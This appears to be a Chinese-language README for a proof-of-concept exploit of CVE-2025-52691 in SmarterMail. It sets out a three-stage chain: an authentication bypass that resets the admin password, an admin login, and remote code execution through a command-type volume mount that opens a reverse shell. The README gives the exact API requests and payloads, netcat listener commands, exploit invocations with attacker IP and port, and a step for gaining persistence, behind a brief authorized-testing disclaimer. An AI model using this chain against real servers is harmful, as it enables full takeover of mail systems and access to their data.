CVE-2025-52691 PoC: 基于 watchtowr 关于身份验证绕过漏洞的文章 WT-2026-0001,这是一个功能性的 Python 攻击脚本。
本工具仅用于授权安全测试和教育目的!
本漏洞利用工具结合了 SmarterMail 中的两个关键漏洞:
https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691
该漏洞利用分为三个阶段:
第一阶段:通过 WT-2026-0001 绕过身份验证
第二阶段:使用新密码登录管理员账号
第三阶段:通过卷挂载功能实现远程代码执行(RCE)
# 安装 Python 3(如果尚未安装)
# Ubuntu/Debian
sudo apt update && sudo apt install python3 python3-pip
# macOS
brew install python3
# Windows (WSL)
wsl --install
# 安装 netcat
# Ubuntu/Debian
sudo apt install netcat
# macOS
brew install netcat
# Windows (WSL)
sudo apt install netcat-traditional
# Python 依赖(如果需要)
pip3 install requests
# 赋予执行权限
chmod +x run_exploit.sh
# 自动设置
./run_exploit.sh --auto
# 或交互式设置
./run_exploit.sh
# 设置监听器(在一个终端中)
nc -lvnp 4444
# 运行漏洞利用(在第二个终端中)
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
python3 exploit.py \
-H http://192.168.1.100 \
-P 9998 \
-A 192.168.1.50 \
-p 4444 \
-d \
--admin-username admin \
--new-password "MySecurePassword123!"
目标识别
# 检查目标主机
curl -I http://192.168.1.100:9998
# 识别 SmarterMail 版本
# (通常在登录页面或 HTTP 头中)
监听器设置
# 在终端 1:启动监听器
nc -lvnp 4444
# 监听器必须在漏洞利用执行前运行
网络验证
# 确保攻击者与目标之间可以通信
ping 192.168.1.100
nc -zv 192.168.1.100 9998
# 使用运行脚本(推荐)
./run_exploit.sh
# 或直接使用 Python
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
Shell 连接
# 在监听器终端中,应该会出现一个连接
# 您应该获得一个 SYSTEM shell
验证访问
# 在获得的 shell 中
whoami
hostname
ipconfig /all # Windows
ifconfig # Linux
持久化访问
# 可选:设置持久化
# Windows:安装为服务
# Linux:Cron 任务或 systemd 服务
| 参数 | 描述 | 默认值 |
|---|---|---|
-H, --host | 目标主机(必需) | - |
-P, --port | 目标端口 | 9998 |
-A, --attacker-ip | 攻击者 IP(用于反向 shell)(必需) | - |
-p, --attacker-port | 攻击者端口(用于反向 shell)(必需) | - |
-d, --debug | 启用调试模式 | False |
--admin-username | 管理员用户名 | admin |
--new-password | 新管理员密码 | NewPassword123!@# |
| 参数 | 描述 |
|---|---|
-t, --target | 目标主机 |
-p, --port | 目标端口 |
-a, --attacker-ip | 攻击者 IP |
-l, --listener-port | 监听器端口 |
-n, --new-password | 新管理员密码 |
-u, --admin-user | 管理员用户名 |
-d, --debug | 调试模式 |
--auto | 自动模式 |
# 终端 1:启动监听器
nc -lvnp 4444
# 终端 2:运行漏洞利用
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
python3 exploit.py \
-H https://mail.company.com \
-P 443 \
-A 10.0.0.1 \
-p 8080 \
--admin-username administrator \
--new-password "ComplexPassword123!@#"
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
./run_exploit.sh --auto
端点:POST /api/v1/auth/force-reset-password
载荷:
{
"IsSysAdmin": "true",
"OldPassword": "dummy",
"Username": "admin",
"NewPassword": "NewPassword123!@#",
"ConfirmPassword": "NewPassword123!@#"
}
成功响应:
{
"success": true,
"resultCode": 200,
"debugInfo": "check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n"
}
端点:POST /api/v1/auth/login
载荷:
{
"username": "admin",
"password": "NewPassword123!@#"
}
端点:POST /api/v1/settings/volume-mounts
载荷:
{
"name": "random_volume_name",
"path": "C:\\Temp\\random_volume_name",
"command": "powershell reverse shell command",
"enabled": true,
"type": "command"
}
# 错误:“Connection refused”
# 解决方法:检查防火墙并开放端口
sudo ufw allow 9998
# 错误:“Connection failed”
# 解决方法:检查监听器设置
nc -lvnp 4444
# 错误:“Login failed”
# 解决方法:检查目标版本(必须存在漏洞)
# 错误:“Volume mount creation failed”
# 解决方法:检查管理员权限,目标系统
启用调试模式以获取详细输出:
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
⚠️ 记住:能力越大,责任越大!